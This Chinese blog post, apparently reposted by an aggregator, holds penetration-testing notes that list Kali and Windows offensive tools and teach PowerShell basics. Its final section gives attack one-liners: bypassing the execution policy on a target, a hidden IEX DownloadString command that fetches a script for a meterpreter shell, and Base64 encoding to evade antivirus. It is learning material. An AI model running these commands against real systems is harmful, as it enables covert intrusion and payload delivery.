主机平台及常用工具
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了主机平台及常用工具相关的知识,希望对你有一定的参考价值。
主机平台及常用工具
虚拟机
- VirtualBOX 和 VMware Workstation Player
网络适配器
- 桥接模式
- NAT模式
- Host-only模式
Kali Linux 渗透测试平台常用工具
- WCE(Windows凭据管理器):是安全人员广泛使用的一种安全工具,用于通过
Penetration Testing
评估Windows网络的安全性,支持Windows XP/Server 2003/Vista/7/Server 2008/8
,常用于列出登录会话,以及添加、修改、列出和删除关联凭据(例如:LM Hash、NTLM Hash、明文密码和Kerberos票据)- minikatz:用于从内存中获取明文密码、现金票据和密钥等
- Responder:用于嗅探网络内所有的
LLMNR
包和获取各主机的信息,提供多种渗透测试环境和场景,包括HTTP/HTTPS、SMB、SQL server、FTP、IMAP、POP3
- BeEF:是一款针对浏览器的渗透测试工具,可以通过
XSS
漏洞,利用javascript
代码对目标主机的浏览器进行测试,也可以配合Metasploit
进一步对目标主机进行测试- DSHashes:作用是从
NTDSXtract
中提取用户易于理解的散列值- PowerSploit:是一款基于
PowerShell
的后渗透(Post-Exploitation
)测试框架,其包含很多PowerShell
脚本,主要用于渗透测试中的信息搜集、权限提升、权限维持- Nishang:是一款针对
PowerShell
的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload
- Empire:是一款内网渗透测试工具,有丰富的模块和接口,用户可以自行添加模块和功能
- ps_encoder.py:是使用
Base64
编码封装的Powershell
命令包,其目的是混淆和压缩代码- smbexec:是一个使用
Samba
工具的快速PsExec
类工具- 后门制造工厂:用于对
PE、ELF、Mach-O
等二进制文件注入Shellcode
- Veil:用于生成绕过常见防病毒解决方案的
Metasploit
有效载荷- Metasploit:本质上是一个计算机安全项目(框架),目的是为用户提供有关已知安全漏洞的重要信息,帮助用户制定渗透测试及
IDS
测试计划、战略和开发方法- Cobalt Strike:是一款后渗透测试平台,适合团队间协同工作
Windows渗透测试平台常见工具
- Nmap:网络发现和安全审计工具,用于发现主机、扫描端口、识别服务、识别操作系统等
- Wireshark:一个免费开源的网络协议和数据包解析器
- PuTTY:一个免费开源的
SSH
和Telnet
客户端,可用于远程访问- sqlmap:用于检测和执行应用程序中的
SQL
注入行为,也提供对数据库进行攻击测试的选项- Burp Suite:用于
web
应用程序进行安全测试的集成平台- Hydra:网络登录破解工具
- Getif:一个基于
Windows
的免费图形界面工具,用于搜集SNMP
设别的信息- Cain&Abel:
Windows
中的一个密码恢复工具,可以通过嗅探网络,使用Dictionary、BruteForce、Cryptanalysis
,破解加密密码、记录VoIP
会话、恢复无线网络密钥、显示密码框、发现缓存中的密码、分析路由信息,并能恢复各种密码- PowerSploit:是一款基于
PowerShell
的后渗透(Post-Exploitation
)测试框架,其包含很多PowerShell
脚本,主要用于渗透测试中的信息搜集、权限提升、权限维持- Nishang:是一款针对
PowerShell
的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload
Windows PowerShell 基础
- Windows PowerShell 是一种命令行外壳程序和脚本环境
- 可以输入
Get-Host
或者$PSVersionTable.PSVERSION
命令查看 PowerShell 的版本
PowerShell 的基本概念
- .ps1文件:一个 PowerShell 脚本就是一个简单的文本文件,其扩展名是
.ps1
- 执行策略:为了防止使用者运行恶意脚本,PowerShell 提供了一个执行策略,在默认情况下这个策略被设置为“不能运行”
- 如果 PowerShell 脚本无法运行,可以使用
Get-ExecutionPolicy
命令查询当前的执行策略- 可以使用
Set-ExecutionPolicy <policy name>
设置 PowerShell 的执行策略
Restricted:脚本不能运行(默认设置)
RemoteSigned:在本地创建的脚本可以允许,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有脚本运行
- 运行脚本:要想运行一个 PowerShell 脚本,必须输入完整的路径和文件名,(例外:脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名即可运行脚本)
- 管道:管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用
|
连接起来,例如get-process p* | stop-process
,让所有正在运行的且名字以字符"p"开头的程序停止运行
PowerShell 的常用命令
- 基本知识:在 PowerShell 下,类似 cmd 命令的命令叫做 cmdlet 命令,二者命名规范一致,都采用了"动词-名词"的形式,动词部分一般为
Add、New、Get、Remove、Set
等,且 PowerShell 不区分大小写
新建目录:New-Item whitecellclub-ItemType Directiry
新建文件:New-Item light.txt-ItemType File
删除目录:Remove-Item whitecellclub
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt-Value "Hello-world!"
追加内容:Add-Content light.txt-Value "I Love You!"
清除内容:Clear-Content test.txt
- 常用命令:在 Windows 终端提示符下输入 “powershell” 进入 PowerShell 命令行环境,输入 “help” 命令即可显示帮助菜单,要想运行 PowerShell 脚本程序,必须使用管理员权限将策略从
Restricted
改成Unrestricted
(1)绕过本地权限并执行
将 PowerUp.ps1 上传至目标服务器:PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
将 PowerUp.ps1 上传至目标服务器,并在目标本地执行脚本文件:PowerShell.exe -exec bypass -Command "& Import-Module C:\\PowerUp.ps1; Invoke-AllChecks"
(2)从网站服务器中下载脚本,绕过本地权限并隐蔽执行
使用 PowerUp.ps1 脚本在目标机器上执行 meterpreteer Shell:PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
(3)使用 Base64 对 PowerShell 命令进行编码
使用 Base64 对 PowerShell 命令进行编码的目的是混淆和压缩代码,从而避免脚本因为一些特殊字符被杀软查杀,可以使用 Python 脚本对所有的 PowerShell 命令进行 Base64 编码
- 运行 32 位 PowerShell 脚本:
PowerShell.exe -NoP -NonI -W Hidden -Exec Bypass
- 运行 64 位 PowerShell 脚本:
%WinDir%\\syswow64\\windowspowershell\\v1.0\\powseshell.exe -NoP -NonI -W Hidden -Exec Bypass
以上是关于主机平台及常用工具的主要内容,如果未能解决你的问题,请参考以下文章